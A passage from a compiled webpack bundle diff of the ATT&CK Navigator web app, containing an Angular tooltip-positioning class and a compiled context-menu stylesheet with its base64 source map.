"./src/app/matrix/technique-cell/cell-popover.ts": +/*!*******************************************************!*\ + !*** ./src/app/matrix/technique-cell/cell-popover.ts ***! + \*******************************************************/ +/*! exports provided: CellPopover */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "CellPopover", function() { return CellPopover; }); +/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js"); + +var CellPopover = /** @class */ (function () { + function CellPopover(element) { + this.theElement = element.nativeElement; + } + /** + * Get the location of the tooltip according to the location on the screen. + * Returns one of the following: + * "top left": + * ------------------ + * | XXXX | + * | XXXX | + * | X | + * | | + * ------------------ + * "top right": + * ------------------ + * | XXXX | + * | XXXX | + * | X | + * | | + * ------------------ + * "bottom left": + * ------------------ + * | | + * | XXXX X | + * | XXXX | + * ------------------ + * "bottom right": + * ------------------ + * | | + * | X XXXX | + * | XXXX | + * ------------------ + * @returns {string} direction + */ + CellPopover.prototype.getPosition = function () { + var boundingRect = this.theElement.getBoundingClientRect(); + var halfWidth = window.innerWidth / 2; + var halfHeight = window.innerHeight / 2; + var position = []; + if (boundingRect.right > halfWidth) + position.push("left"); + else + position.push("right"); + if (boundingRect.bottom > halfHeight) + position.push("top"); + else + position.push("bottom"); + return position.join(" "); + }; + CellPopover.ctorParameters = function () { return [ + { type: _angular_core__WEBPACK_IMPORTED_MODULE_0__["ElementRef"] } + ]; }; + return CellPopover; +}()); + + + +/***/ }), + +/***/ "./src/app/matrix/technique-cell/contextmenu/contextmenu.component.scss": +/*!******************************************************************************!*\ + !*** ./src/app/matrix/technique-cell/contextmenu/contextmenu.component.scss ***! + \******************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "@charset \"UTF-8\";\n/**\n * Colors used across the Navigator. Shared by the ATT&CK Website.\n * For each color-pair:\n * - \"color\" refers to the color itself\n * - \"on-color\" refers to the most readable text-color to appear on top of the color. \n * Note: some colors don't define on-colors. This is because, for these colors, they aren't intended to\n * appear with inner content. For example, \"link\" is only intended to be used for link text, which inherently\n * cannot have inner text.\n */\n.contextmenu .cover {\n z-index: 100;\n position: fixed;\n top: 0;\n left: 0;\n width: 100vw;\n height: 100vh;\n cursor: default;\n}\n.contextmenu .menu {\n cursor: default;\n position: absolute;\n padding: 6px;\n z-index: 100;\n min-width: 150px;\n max-width: 300px;\n text-align: left;\n white-space: normal;\n border-radius: 3px;\n background: rgba(80, 80, 80, 0.85);\n font-size: 8pt;\n color: white;\n}\n.contextmenu .menu:not(.top) {\n top: 0;\n}\n.contextmenu .menu.bottom.right {\n /* ------------------\n * | |\n * | X XXXX |\n * | XXXX |\n * ------------------\n */\n -webkit-transform: translateX(10px);\n transform: translateX(10px);\n}\n.contextmenu .menu.bottom.right:before {\n left: -9.5px;\n -webkit-transform: rotate(90deg);\n transform: rotate(90deg);\n}\n.contextmenu .menu.bottom.left {\n /* ------------------\n * | |\n * | XXXX X |\n * | XXXX |\n * ------------------\n */\n -webkit-transform: translateX(-10px);\n transform: translateX(-10px);\n right: 100%;\n}\n.contextmenu .menu.bottom.left:before {\n right: -9px;\n -webkit-transform: rotate(-90deg);\n transform: rotate(-90deg);\n}\n.contextmenu .menu.top.right {\n /* ------------------\n * | XXXX |\n * | XXXX |\n * | X |\n * | |\n * ------------------\n */\n -webkit-transform: translateY(-10px);\n transform: translateY(-10px);\n bottom: 100%;\n left: 0;\n}\n.contextmenu .menu.top.right:before {\n bottom: -9px;\n}\n.contextmenu .menu.top.left {\n /* ------------------\n * | XXXX |\n * | XXXX |\n * | X |\n * | |\n * ------------------\n */\n -webkit-transform: translateY(-10px);\n transform: translateY(-10px);\n bottom: 100%;\n right: 0;\n}\n.contextmenu .menu.top.left:before {\n bottom: -9px;\n right: 6px;\n}\n.contextmenu .menu:before {\n position: absolute;\n font-size: 12px;\n content: \"▼\";\n color: rgba(80, 80, 80, 0.85);\n}\n.contextmenu .menu .contextMenu-section:not(:first-child) {\n border-top: 1px solid white;\n margin-top: 2px;\n padding-top: 2px;\n}\n.contextmenu .menu .contextMenu-section div {\n padding: 3px;\n}\n.contextmenu .menu .contextMenu-section .contextMenu-button {\n cursor: pointer;\n}\n.contextmenu .menu .contextMenu-section .contextMenu-button:hover {\n background: #60c5ff;\n}\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInNyYy9hcHAvbWF0cml4L3RlY2huaXF1ZS1jZWxsL2NvbnRleHRtZW51L2NvbnRleHRtZW51LmNvbXBvbmVudC5zY3NzIiwiL2hvbWUvTE9OL2Jlcm5hbG8vZ2l0L2F0dGFjay1uYXZpZ2F0b3IvbmF2LWFwcC9zcmMvYXBwL21hdHJpeC90ZWNobmlxdWUtY2VsbC9jb250ZXh0bWVudS9jb250ZXh0bWVudS5jb21wb25lbnQuc2NzcyIsIi9ob21lL0xPTi9iZXJuYWxvL2dpdC9hdHRhY2stbmF2aWdhdG9yL25hdi1hcHAvc3RkaW4iLCIvaG9tZS9MT04vYmVybmFsby9naXQvYXR0YWNrLW5hdmlnYXRvci9uYXYtYXBwL3NyYy9hcHAvbWF0cml4L3RlY2huaXF1ZS1jZWxsL2NlbGwtcG9wb3Zlci5zY3NzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQUFBLGdCQUFnQjtBQ2VoQjs7Ozs7Ozs7RUFBQTtBQ1hJO0VBQ0ksWUFBQTtFQUdBLGVBQUE7RUFDQSxNQUFBO0VBQ0EsT0FBQTtFQUNBLFlBQUE7RUFDQSxhQUFBO0VBQ0EsZUFBQTtBRktSO0FFSEk7RUFDSSxlQUFBO0VDZkosa0JBQUE7RUFDQSxZQUFBO0VBRUEsWUFBQTtFQUNBLGdCQUFBO0VBQ0EsZ0JBQUE7RUFDQSxnQkFBQTtFQUNBLG1CQUFBO0VBRUEsa0JBQUE7RUFDQSxrQ0FBQTtFQUNBLGNBQUE7RUFDQSxZQUFBO0FIbUJKO0FHN0JJO0VBQWMsTUFBQTtBSGdDbEI7QUdyQkk7RUFDSTs7Ozs7SUFBQTtFQU1BLG1DQUFBO1VBQUEsMkJBQUE7QUh1QlI7QUd0QlE7RUFDSSxZQUFBO0VBQ0EsZ0NBQUE7VUFBQSx3QkFBQTtBSHdCWjtBR3JCSTtFQUNJOzs7OztJQUFBO0VBTUEsb0NBQUE7VUFBQSw0QkFBQTtFQUNBLFdBQUE7QUh1QlI7QUd0QlE7RUFDSSxXQUFBO0VBQ0EsaUNBQUE7VUFBQSx5QkFBQTtBSHdCWjtBR3JCSTtFQUNJOzs7Ozs7SUFBQTtFQU9BLG9DQUFBO1VBQUEsNEJBQUE7RUFDQSxZQUFBO0VBQ0EsT0FBQTtBSHVCUjtBR3RCUTtFQUNJLFlBQUE7QUh3Qlo7QUdwQkk7RUFDSTs7Ozs7O0lBQUE7RUFPQSxvQ0FBQTtVQUFBLDRCQUFBO0VBQ0EsWUFBQTtFQUNBLFFBQUE7QUhzQlI7QUdyQlE7RUFDSSxZQUFBO0VBQ0EsVUFBQTtBSHVCWjtBR25CSTtFQUNJLGtCQUFBO0VBQ0EsZUFBQTtFQUNBLFlBQUE7RUFDQSw2QkFBQTtBSHFCUjtBRWhGWTtFQUNJLDJCQUFBO0VBQ0EsZUFBQTtFQUNBLGdCQUFBO0FGa0ZoQjtBRWhGWTtFQUFLLFlBQUE7QUZtRmpCO0FFakZZO0VBRUksZUFBQTtBRmtGaEI7QUVqRmdCO0VBQ0ksbUJENUJHO0FEK0d2QiIsImZpbGUiOiJzcmMvYXBwL21hdHJpeC90ZWNobmlxdWUtY2VsbC9jb250ZXh0bWVudS9jb250ZXh0bWVudS5jb21wb25lbnQuc2NzcyIsInNvdXJjZXNDb250ZW50IjpbIkBjaGFyc2V0IFwiVVRGLThcIjtcbi8qKlxuICogQ29sb3JzIHVzZWQgYWNyb3NzIHRoZSBOYXZpZ2F0b3IuIFNoYXJlZCBieSB0aGUgQVRUJkNLIFdlYnNpdGUuXG4gKiBGb3IgZWFjaCBjb2xvci1wYWlyOlxuICogICAtIFwiY29sb3JcIiByZWZlcnMgdG8gdGhlIGNvbG9yIGl0c2VsZlxuICogICAtIFwib24tY29sb3JcIiByZWZlcnMgdG8gdGhlIG1vc3QgcmVhZGFibGUgdGV4dC1jb2xvciB0byBhcHBlYXIgb24gdG9wIG9mIHRoZSBjb2xvci4gXG4gKiBOb3RlOiBzb21lIGNvbG9ycyBkb24ndCBkZWZpbmUgb24tY29sb3JzLiBUaGlzIGlzIGJlY2F1c2UsIGZvciB0aGVzZSBjb2xvcnMsIHRoZXkgYXJlbid0IGludGVuZGVkIHRvXG4gKiBhcHBlYXIgd2l0aCBpbm5lciBjb250ZW50LiBGb3IgZXhhbXBsZSwgXCJsaW5rXCIgaXMgb25seSBpbnRlbmRlZCB0byBiZSB1c2VkIGZvciBsaW5rIHRleHQsIHdoaWNoIGluaGVyZW50bHlcbiAqIGNhbm5vdCBoYXZlIGlubmVyIHRleHQuXG4gKi9cbi5jb250ZXh0bWVudSAuY292ZXIge1xuICB6LWluZGV4OiAxMDA7XG4gIHBvc2l0aW9uOiBmaXhlZDtcbiAgdG9wOiAwO1xuICBsZWZ0OiAwO1xuICB3aWR0aDogMTAwdnc7XG4gIGhlaWdodDogMTAwdmg7XG4gIGN1cnNvcjogZGVmYXVsdDtcbn1cbi5jb250ZXh0bWVudSAubWVudSB7XG4gIGN1cnNvcjogZGVmYXVsdDtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICBwYWRkaW5nOiA2cHg7XG4gIHotaW5kZXg6IDEwMDtcbiAgbWluLXdpZHRoOiAxNTBweDtcbiAgbWF4LXdpZHRoOiAzMDBweDtcbiAgdGV4dC1hbGlnbjogbGVmdDtcbiAgd2hpdGUtc3BhY2U6IG5vcm1hbDtcbiAgYm9yZGVyLXJhZGl1czogM3B4O1xuICBiYWNrZ3JvdW5kOiByZ2JhKDgwLCA4MCwgODAsIDAuODUpO1xuICBmb250LXNpemU6IDhwdDtcbiAgY29sb3I6IHdoaXRlO1xufVxuLmNvbnRleHRtZW51IC5tZW51Om5vdCgudG9wKSB7XG4gIHRvcDogMDtcbn1cbi5jb250ZXh0bWVudSAubWVudS5ib3R0b20ucmlnaHQge1xuICAvKiAtLS0tLS0tLS0tLS0tLS0tLS1cbiAgICogfCAgICAgICAgICAgICAgICB8XG4gICAqIHwgICAgICAgWCBYWFhYICAgfFxuICAgKiB8ICAgICAgICAgWFhYWCAgIHxcbiAgICogLS0tLS0tLS0tLS0tLS0tLS0tXG4gICAqL1xuICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoMTBweCk7XG59XG4uY29udGV4dG1lbnUgLm1lbnUuYm90dG9tLnJpZ2h0OmJlZm9yZSB7XG4gIGxlZnQ6IC05LjVweDtcbiAgdHJhbnNmb3JtOiByb3RhdGUoOTBkZWcpO1xufVxuLmNvbnRleHRtZW51IC5tZW51LmJvdHRvbS5sZWZ0IHtcbiAgLyogLS0tLS0tLS0tLS0tLS0tLS0tXG4gICAqIHwgICAgICAgICAgICAgICAgfFxuICAgKiB8ICBYWFhYIFggICAgICAgIHxcbiAgICogfCAgWFhYWCAgICAgICAgICB8XG4gICAqIC0tLS0tLS0tLS0tLS0tLS0tLVxuICAgKi9cbiAgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKC0xMHB4KTtcbiAgcmlnaHQ6IDEwMCU7XG59XG4uY29udGV4dG1lbnUgLm1lbnUuYm90dG9tLmxlZnQ6YmVmb3JlIHtcbiAgcmlnaHQ6IC05cHg7XG4gIHRyYW5zZm9ybTogcm90YXRlKC05MGRlZyk7XG59XG4uY29udGV4dG1lbnUgLm1lbnUudG9wLnJpZ2h0IHtcbiAgLyogLS0tLS0tLS0tLS0tLS0tLS0tXG4gICAqIHwgICAgICAgIFhYWFggIHxcbiAgICogfCAgICAgICAgWFhYWCAgfFxuICAgKiB8ICAgICAgIFggICAgICB8XG4gICAqIHwgICAgICAgICAgICAgIHxcbiAgICogLS0tLS0tLS0tLS0tLS0tLS0tXG4gICAqL1xuICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTEwcHgpO1xuICBib3R0b206IDEwMCU7XG4gIGxlZnQ6IDA7XG59XG4uY29udGV4dG1lbnUgLm1lbnUudG9wLnJpZ2h0OmJlZm9yZSB7XG4gIGJvdHRvbTogLTlweDtcbn1cbi5jb250ZXh0bWVudSAubWVudS50b3AubGVmdCB7XG4gIC8qIC0tLS0tLS0tLS0tLS0tLS0tLVxuICAgKiB8ICAgIFhYWFggICAgICB8XG4gICAqIHwgICAgWFhYWCAgICAgIHxcbiAgICogfCAgICAgICBYICAgICAgfFxuICAgKiB8ICAgICAgICAgICAgICB8XG4gICAqIC0tLS0tLS0tLS0tLS0tLS0tLVxuICAgKi9cbiAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC0xMHB4KTtcbiAgYm90dG9tOiAxMDAlO1xuICByaWdodDogMDtcbn1cbi5jb250ZXh0bWVudSAubWVudS50b3AubGVmdDpiZWZvcmUge1xuICBib3R0b206IC05cHg7XG4gIHJpZ2h0OiA2cHg7XG59XG4uY29udGV4dG1lbnUgLm1lbnU6YmVmb3JlIHtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICBmb250LXNpemU6IDEycHg7XG4gIGNvbnRlbnQ6IFwi4pa8XCI7XG4gIGNvbG9yOiByZ2JhKDgwLCA4MCwgODAsIDAuODUpO1xufVxuLmNvbnRleHRtZW51IC5tZW51IC5jb250ZXh0TWVudS1zZWN0aW9uOm5vdCg6Zmlyc3QtY2hpbGQpIHtcbiAgYm9yZGVyLXRvcDogMXB4IHNvbGlkIHdoaXRlO1xuICBtYXJnaW4tdG9wOiAycHg7XG4gIHBhZGRpbmctdG9wOiAycHg7XG59XG4uY29udGV4dG1lbnUgLm1lbnUgLmNvbnRleHRNZW51LXNlY3Rpb24gZGl2IHtcbiAgcGFkZGluZzogM3B4O1xufVxuLmNvbnRleHRtZW51IC5tZW51IC5jb250ZXh0TWVudS1zZWN0aW9uIC5jb250ZXh0TWVudS1idXR0b24ge1xuICBjdXJzb3I6IHBvaW50ZXI7XG59XG4uY29udGV4dG1lbnUgLm1lbnUgLmNvbnRleHRNZW51LXNlY3Rpb24gLmNvbnRleHRNZW51LWJ1dHRvbjpob3ZlciB7XG4gIGJhY2tncm91bmQ6ICM2MGM1ZmY7XG59IiwiJGNvbHVtbi1ob3Zlci1jb2xvcjogcmdiKDIzNSwgMjM1LCAyMzUpO1xuJGRpc2FibGVkLWNvbG9yOiBkYXJrZW4oJGNvbHVtbi1ob3Zlci1jb2xvciwgMjAlKTtcbiRjZWxsLWhpZ2hsaWdodC1jb2xvcjogcmdiKDk2LCAxOTcsIDI1NSk7XG4kaG92ZXItY2VsbC1mb250LWNvbG9yOiByZ2IoMCwgMCwgMCk7XG4kcGFuZWwtZGFyazogI2RkZDtcbiRwYW5lbC1saWdodDogbGlnaHRlbigkcGFuZWwtZGFyaywgOCUpO1xuJHRhYi10ZXh0LWNvbG9yOiAjNTU1O1xuJGJ1dHRvbi1kYXJrOiAjYjhiOGI4O1xuXG4vLyBBVFQmQ0sgQnJhbmQgY29sb3JzXG4kYXR0YWNrLWNvbG9yczogKFxuICAgIGF0dGFjay1vcmFuZ2U6ICNjNjNmMWYsXG4gICAgYXR0YWNrLWJsdWU6ICMwNjJmNGZcbik7XG5cbi8qKlxuICogQ29sb3JzIHVzZWQgYWNyb3NzIHRoZSBOYXZpZ2F0b3IuIFNoYXJlZCBieSB0aGUgQVRUJkNLIFdlYnNpdGUuXG4gKiBGb3IgZWFjaCBjb2xvci1wYWlyOlxuICogICAtIFwiY29sb3JcIiByZWZlcnMgdG8gdGhlIGNvbG9yIGl0c2VsZlxuICogICAtIFwib24tY29sb3JcIiByZWZlcnMgdG8gdGhlIG1vc3QgcmVhZGFibGUgdGV4dC1jb2xvciB0byBhcHBlYXIgb24gdG9wIG9mIHRoZSBjb2xvci4gXG4gKiBOb3RlOiBzb21lIGNvbG9ycyBkb24ndCBkZWZpbmUgb24tY29sb3JzLiBUaGlzIGlzIGJlY2F1c2UsIGZvciB0aGVzZSBjb2xvcnMsIHRoZXkgYXJlbid0IGludGVuZGVkIHRvXG4gKiBhcHBlYXIgd2l0aCBpbm5lciBjb250ZW50LiBGb3IgZXhhbXBsZSwgXCJsaW5rXCIgaXMgb25seSBpbnRlbmRlZCB0byBiZSB1c2VkIGZvciBsaW5rIHRleHQsIHdoaWNoIGluaGVyZW50bHlcbiAqIGNhbm5vdCBoYXZlIGlubmVyIHRleHQuXG4gKi9cbiRjb2xvcnM6IChcbiAgICBwcmltYXJ5OiAoY29sb3I6IG1hcC1nZXQoJGF0dGFjay1jb2xvcnMsIGF0dGFjay1vcmFuZ2UpLCBvbi1jb2xvcjogd2hpdGUpLCAgLy91c2VkIGZvciBoZWFkZXIgYW5kIHNvbWUgbmF2IGVsZW1lbnRzXG4gICAgc2Vjb25kYXJ5OiAoY29sb3I6IG1hcC1nZXQoJGF0dGFjay1jb2xvcnMsIGF0dGFjay1ibHVlKSwgb24tY29sb3I6IHdoaXRlKSwgIC8vdXNlZCBmb3IgZm9vdGVyIGFuZCBzb21lIGJ1dHRvbnNcbiAgICBib2R5OiAoY29sb3I6IHdoaXRlLCBvbi1jb2xvcjogIzM5NDM0QyksICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vcHJpbWFyeSBwYWdlIGJvZHlcbi8vICBib2R5OiAoY29sb3I6IHJnYig1MCwgNTAsIDUwKSwgb24tY29sb3I6ICNjZGNkY2QpLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAvL2V4YW1wbGUgb2YgYSBkYXJrIHRoZW1lIGZvciB0aGUgc2l0ZVxuICAgIGxpbms6IChjb2xvcjogIzRmN2NhYyksICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvL2h5cGVybGlua3NcbiAgICBtYXRyaXgtaGVhZGVyOiAoY29sb3I6IGdyYXksIG9uLWNvbG9yOiB3aGl0ZSksICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vY29sb3Igb2YgbWF0cml4IGhlYWRlcnNcblxuICAgIC8vYm9vdHN0cmFwIGNvbG9yc1xuICAgIGJvb3RzdHJhcC1wcmltYXJ5OiAoY29sb3I6ICM0MjhiY2EsIG9uLWNvbG9yOiB3aGl0ZSksXG4gICAgYm9vdHN0cmFwLXN1Y2Nlc3M6IChjb2xvcjogIzVjYjg1Yywgb24tY29sb3I6IHdoaXRlKSxcbiAgICBib290c3RyYXAtZGFuZ2VyOiAoY29sb3I6ICNkOTUzNGYsIG9uLWNvbG9yOiBibGFjayksXG4gICAgYm9vdHN0cmFwLXdhcm5pbmc6IChjb2xvcjogI2YwYWQ0ZSwgb24tY29sb3I6IGJsYWNrKSxcbiAgICBib290c3RyYXAtaW5mbzogKGNvbG9yOiAjNWJjMGRlLCBvbi1jb2xvcjogd2hpdGUpLFxuXG4gICAgLy9UT0RPIGRlcHJlY2F0ZSB3aXRoIHNlYXJjaCBwYWdlIGNoYW5nZXNcbiAgICBzZWFyY2gtcmVzdWx0cy1ib3JkZXI6IChjb2xvcjogYmxhY2ssIG9uLWNvbG9yOiBsaWdodGdyZXkpLCAgXG4pO1xuXG4vLyBhY2Nlc3NvciBoZWxwZXIgZm9yICRjb2xvcnMuIEdldHMgdGhlIGNvbG9yIG9mIHRoZSBuYW1lZCBwYWlyXG5AZnVuY3Rpb24gY29sb3IoJG5hbWUpIHtcbiAgICBAcmV0dXJuIG1hcC1nZXQobWFwLWdldCgkY29sb3JzLCAkbmFtZSksIFwiY29sb3JcIik7XG59XG5cbi8vIGdpdmVuIGEgY29sb3IgbmFtZSwgZ2V0IGFuIGFsdGVybmF0ZSB2ZXJzaW9uIG9mIHRoZSBjb2xvciwgZm9yIHBhdHRlcm5pbmdcbi8vIGlmIHRoZSBiYXNlIGNvbG9yIGlzIGRhcmssIHRoZSBhbHRlcm5hdGUgd2lsbCBiZSBzbGlnaHRseSBsaWdodGVyLlxuLy8gaWYgdGhlIGJhc2UgY29sb3IgaXMgbGlnaHQsIHRoZSBhbHRlcm5hdGUgd2lsbCBiZSBzbGlnaHRseSBkYXJrZXIuXG4vLyBjb250cmFzdCwgYW4gb3B0aW9uYWwgYXJndW1lbnQsIG11bHRpcGxpZXMgdG8gY3JlYXRlIGEgbW9yZSBkaXN0aW50IG9yIHNpbWlsYXIgY29sb3IuID4xIGlzIG1vcmUgZGlzdGFudCwgPDEgaXMgbW9yZSBzaW1pbGFyLlxuQGZ1bmN0aW9uIGNvbG9yLWFsdGVybmF0ZSgkbmFtZSwgJGNvbnRyYXN0OiAxKSB7XG4gICAgQHJldHVybiBtaXgoaW52ZXJ0KGNvbG9yKCRuYW1lKSksIGNvbG9yKCRuYW1lKSwgJHdlaWdodDogJGNvbnRyYXN0ICogNSUpOyBcbn1cblxuLy8gYWNjZXNzb3IgaGVscGVyIGZvciAkY29sb3JzLiBHZXRzIHRoZSBvbi1jb2xvciBvZiB0aGUgbmFtZWQgcGFpclxuQGZ1bmN0aW9uIG9uLWNvbG9yKCRuYW1lKSB7XG4gICAgQHJldHVybiBtYXAtZ2V0KG1hcC1nZXQoJGNvbG9ycywgJG5hbWUpLCBcIm9uLWNvbG9yXCIpO1xufVxuXG4vLyBnaXZlbiBhIGNvbG9yLW5hbWUsIGdldCBhbiBlbXBoYXNpemVkIHZlcnNpb24gb2YgdGhlIG9uLWNvbG9yLlxuLy8gVGhlIGVtcGhhc2l6ZWQgb24tY29sb3IgaXMgbGVzcyBsaWtlIHRoZSBiYWNrZ3JvdW5kIGNvbG9yLlxuQGZ1bmN0aW9uIG9uLWNvbG9yLWVtcGhhc2lzKCRuYW1lKSB7XG4gICAgQHJldHVybiBtaXgoaW52ZXJ0KGNvbG9yKCRuYW1lKSksIG9uLWNvbG9yKCRuYW1lKSk7IFxufVxuLy8gZ2l2ZW4gYSBjb2xvci1uYW1lLCBnZXQgYW4gZGVlbXBoYXNpemVkIHZlcnNpb24gb2YgdGhlIG9uLWNvbG9yLlxuLy8gVGhlIGRlZW1waGFzaXplZCBvbi1jb2xvciBpcyBtb3JlIGxpa2UgdGhlIGJhY2tncm91bmQgY29sb3IuXG5AZnVuY3Rpb24gb24tY29sb3ItZGVlbXBoYXNpcygkbmFtZSkge1xuICAgIEByZXR1cm4gbWl4KGNvbG9yKCRuYW1lKSwgb24tY29sb3IoJG5hbWUpLCAyNSUpOyBcbn1cblxuLy8gZ2l2ZW4gYSBjb2xvciBuYW1lLCBjb21wdXRlIGEgYm9yZGVyIGNvbG9yIGZvciB0aGUgY29sb3JcbkBmdW5jdGlvbiBib3JkZXItY29sb3IoJG5hbWUpIHtcbiAgICBAcmV0dXJuIG1peChpbnZlcnQoY29sb3IoJG5hbWUpKSwgY29sb3IoJG5hbWUpLCAxMi41JSk7IFxuICAgIC8vIEByZXR1cm4gcmdiYShpbnZlcnQoY29sb3IoJG5hbWUpKSwgMC4xMjUpO1xufVxuIiwiQGltcG9ydCBcIi4uL2NlbGwtcG9wb3Zlci5zY3NzXCI7XG5AaW1wb3J0IFwiLi4vLi4vLi4vLi4vY29sb3JzLnNjc3NcIjtcbi5jb250ZXh0bWVudSB7XG4gICAgXG4gICAgLmNvdmVyIHtcbiAgICAgICAgei1pbmRleDogMTAwO1xuICAgICAgICAvLyBiYWNrZ3JvdW5kOiByZWQ7XG4gICAgICAgIC8vIG9wYWNpdHk6IDAuNTtcbiAgICAgICAgcG9zaXRpb246IGZpeGVkO1xuICAgICAgICB0b3A6IDA7XG4gICAgICAgIGxlZnQ6IDA7XG4gICAgICAgIHdpZHRoOiAxMDB2dztcbiAgICAgICAgaGVpZ2h0OiAxMDB2aDtcbiAgICAgICAgY3Vyc29yOiBkZWZhdWx0O1xuICAgIH1cbiAgICAubWVudSB7XG4gICAgICAgIGN1cnNvcjogZGVmYXVsdDtcbiAgICAgICAgQGluY2x1ZGUgY2VsbC1wb3BvdmVyKDAuODUpO1xuICAgICAgICAuY29udGV4dE1lbnUtc2VjdGlvbiB7XG4gICAgICAgICAgICAmOm5vdCg6Zmlyc3QtY2hpbGQpIHtcbiAgICAgICAgICAgICAgICBib3JkZXItdG9wOiAxcHggc29saWQgd2hpdGU7XG4gICAgICAgICAgICAgICAgbWFyZ2luLXRvcDogMnB4O1xuICAgICAgICAgICAgICAgIHBhZGRpbmctdG9wOiAycHg7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICBkaXYge3BhZGRpbmc6IDNweDt9XG5cbiAgICAgICAgICAgIC5jb250ZXh0TWVudS1idXR0b24ge1xuICAgICAgICAgICAgICAgIFxuICAgICAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjtcbiAgICAgICAgICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogJGNlbGwtaGlnaGxpZ2h0LWNvbG9yO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgIH1cbn0iLCJAbWl4aW4gY2VsbC1wb3BvdmVyKCRvcGFjaXR5KSB7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHBhZGRpbmc6IDZweDtcbiAgICAmOm5vdCgudG9wKSB7IHRvcDogMDsgfVxuICAgIHotaW5kZXg6IDEwMDtcbiAgICBtaW4td2lkdGg6IDE1MHB4O1xuICAgIG1heC13aWR0aDogMzAwcHg7XG4gICAgdGV4dC1hbGlnbjogbGVmdDtcbiAgICB3aGl0ZS1zcGFjZTogbm9ybWFsO1xuICAgIFxuICAgIGJvcmRlci1yYWRpdXM6IDNweDtcbiAgICBiYWNrZ3JvdW5kOiByZ2JhKDgwLCA4MCwgODAsICRvcGFjaXR5KTtcbiAgICBmb250LXNpemU6IDhwdDtcbiAgICBjb2xvcjogd2hpdGU7XG4gICAgJi5ib3R0b20ucmlnaHQge1xuICAgICAgICAvKiAtLS0tLS0tLS0tLS0tLS0tLS1cbiAgICAgICAgICogfCAgICAgICAgICAgICAgICB8XG4gICAgICAgICAqIHwgICAgICAgWCBYWFhYICAgfFxuICAgICAgICAgKiB8ICAgICAgICAgWFhYWCAgIHxcbiAgICAgICAgICogLS0tLS0tLS0tLS0tLS0tLS0tXG4gICAgICAgICAqL1xuICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoMTBweCk7XG4gICAgICAgICY6YmVmb3JlIHsgXG4gICAgICAgICAgICBsZWZ0OiAtOS41cHg7XG4gICAgICAgICAgICB0cmFuc2Zvcm06IHJvdGF0ZSg5MGRlZyk7XG4gICAgICAgIH1cbiAgICB9XG4gICAgJi5ib3R0b20ubGVmdCB7XG4gICAgICAgIC8qIC0tLS0tLS0tLS0tLS0tLS0tLVxuICAgICAgICAgKiB8ICAgICAgICAgICAgICAgIHxcbiAgICAgICAgICogfCAgWFhYWCBYICAgICAgICB8XG4gICAgICAgICAqIHwgIFhYWFggICAgICAgICAgfFxuICAgICAgICAgKiAtLS0tLS0tLS0tLS0tLS0tLS1cbiAgICAgICAgICovXG4gICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWCgtMTBweCk7XG4gICAgICAgIHJpZ2h0OiAxMDAlO1xuICAgICAgICAmOmJlZm9yZSB7IFxuICAgICAgICAgICAgcmlnaHQ6IC05cHg7XG4gICAgICAgICAgICB0cmFuc2Zvcm06IHJvdGF0ZSgtOTBkZWcpO1xuICAgICAgICB9XG4gICAgfVxuICAgICYudG9wLnJpZ2h0IHtcbiAgICAgICAgLyogLS0tLS0tLS0tLS0tLS0tLS0tXG4gICAgICAgICAqIHwgICAgICAgIFhYWFggIHxcbiAgICAgICAgICogfCAgICAgICAgWFhYWCAgfFxuICAgICAgICAgKiB8ICAgICAgIFggICAgICB8XG4gICAgICAgICAqIHwgICAgICAgICAgICAgIHxcbiAgICAgICAgICogLS0tLS0tLS0tLS0tLS0tLS0tXG4gICAgICAgICAqL1xuICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTEwcHgpO1xuICAgICAgICBib3R0b206IDEwMCU7XG4gICAgICAgIGxlZnQ6IDA7XG4gICAgICAgICY6YmVmb3JlIHtcbiAgICAgICAgICAgIGJvdHRvbTogLTlweDtcbiAgICAgICAgICAgIC8vIHRyYW5zZm9ybTogcm90YXRlKDE4MGRlZyk7XG4gICAgICAgIH1cbiAgICB9XG4gICAgJi50b3AubGVmdCB7XG4gICAgICAgIC8qIC0tLS0tLS0tLS0tLS0tLS0tLVxuICAgICAgICAgKiB8ICAgIFhYWFggICAgICB8XG4gICAgICAgICAqIHwgICAgWFhYWCAgICAgIHxcbiAgICAgICAgICogfCAgICAgICBYICAgICAgfFxuICAgICAgICAgKiB8ICAgICAgICAgICAgICB8XG4gICAgICAgICAqIC0tLS0tLS0tLS0tLS0tLS0tLVxuICAgICAgICAgKi9cbiAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC0xMHB4KTtcbiAgICAgICAgYm90dG9tOiAxMDAlO1xuICAgICAgICByaWdodDogMDtcbiAgICAgICAgJjpiZWZvcmUge1xuICAgICAgICAgICAgYm90dG9tOiAtOXB4O1xuICAgICAgICAgICAgcmlnaHQ6IDZweDtcbiAgICAgICAgICAgIC8vIHRyYW5zZm9ybTogcm90YXRlKDE4MGRlZyk7XG4gICAgICAgIH1cbiAgICB9XG4gICAgJjpiZWZvcmUge1xuICAgICAgICBwb3